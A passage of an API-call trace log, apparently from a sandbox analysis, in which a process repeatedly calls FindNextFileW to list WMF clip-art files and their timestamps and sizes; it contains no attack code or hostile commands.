ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2708, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00449_.WMF", cAlternateFileName="")) returned 1 [0218.621] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5130, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00687_.WMF", cAlternateFileName="")) returned 1 [0218.621] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x600c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00705_.WMF", cAlternateFileName="")) returned 1 [0218.622] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01015_.WMF", cAlternateFileName="")) returned 1 [0218.622] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x39e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01039_.WMF", cAlternateFileName="")) returned 1 [0218.622] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb709c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01138_.WMF", cAlternateFileName="")) returned 1 [0218.624] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe30, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01139_.WMF", cAlternateFileName="")) returned 1 [0218.624] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb709c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe20, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01140_.WMF", cAlternateFileName="")) returned 1 [0218.624] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb709c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x85c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01143_.WMF", cAlternateFileName="")) returned 1 [0218.624] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd790bed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd790bed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xadc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01145_.WMF", cAlternateFileName="")) returned 1 [0218.625] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb709c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xaec, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01146_.WMF", cAlternateFileName="")) returned 1 [0218.625] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd790bed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd790bed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb90, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01151_.WMF", cAlternateFileName="")) returned 1 [0218.625] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd790bed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd790bed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb90, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01152_.WMF", cAlternateFileName="")) returned 1 [0218.625] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd790bed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd790bed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe04, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01157_.WMF", cAlternateFileName="")) returned 1 [0218.625] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01160_.WMF", cAlternateFileName="")) returned 1 [0218.625] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01162_.WMF", cAlternateFileName="")) returned 1 [0218.625] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01163_.WMF", cAlternateFileName="")) returned 1 [0218.625] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x820, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01166_.WMF", cAlternateFileName="")) returned 1 [0218.625] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x820, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01167_.WMF", cAlternateFileName="")) returned 1 [0218.625] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01168_.WMF", cAlternateFileName="")) returned 1 [0218.625] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01169_.WMF", cAlternateFileName="")) returned 1 [0218.626] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x964, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01170_.WMF", cAlternateFileName="")) returned 1 [0218.626] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x804, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01171_.WMF", cAlternateFileName="")) returned 1 [0218.626] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01172_.WMF", cAlternateFileName="")) returned 1 [0218.626] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebfae8f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebfae8f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebfae8f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x70c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01173_.WMF", cAlternateFileName="")) returned 1 [0218.627] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x760, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01176_.WMF", cAlternateFileName="")) returned 1 [0218.627] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb3c2ce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xed4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01178_.WMF", cAlternateFileName="")) returned 1 [0218.627] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb3c2ce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01179_.WMF", cAlternateFileName="")) returned 1 [0218.627] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb3c2ce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x824, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01180_.WMF", cAlternateFileName="")) returned 1 [0218.627] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01181_.WMF", cAlternateFileName="")) returned 1 [0218.627] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01182_.WMF", cAlternateFileName="")) returned 1 [0218.627] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01183_.WMF", cAlternateFileName="")) returned 1 [0218.628] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01186_.WMF", cAlternateFileName="")) returned 1 [0218.628] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01366_.WMF", cAlternateFileName="")) returned 1 [0218.628] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01434_.WMF", cAlternateFileName="")) returned 1 [0218.628] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01585_.WMF", cAlternateFileName="")) returned 1 [0218.628] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x914, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01586_.WMF", cAlternateFileName="")) returned 1 [0218.628] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4a7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01628_.WMF", cAlternateFileName="")) returned 1 [0218.628] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe7100f8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe7100f8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe736331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01629_.WMF", cAlternateFileName="")) returned 1 [0218.628] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x128, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01630_.WMF", cAlternateFileName="")) returned 1 [0218.631] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe7100f8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01631_.WMF", cAlternateFileName="")) returned 1 [0218.631] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1034, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01761_.WMF", cAlternateFileName="")) returned 1 [0218.632] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebfae8f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebfae8f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebfae8f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01772_.WMF", cAlternateFileName="")) returned 1 [0218.632] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01793_.WMF", cAlternateFileName="")) returned 1 [0218.632] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec9380a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec9380a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf42d018, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1815, dwReserved0=0x0, dwReserved1=0x0, cFileName="EAST_01.MID", cAlternateFileName="")) returned 1 [0218.632] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="ED00010_.WMF", cAlternateFileName="")) returned 1 [0218.632] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x32f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ED00019_.WMF", cAlternateFileName="")) returned 1 [0218.632] FindNextFileW (in: 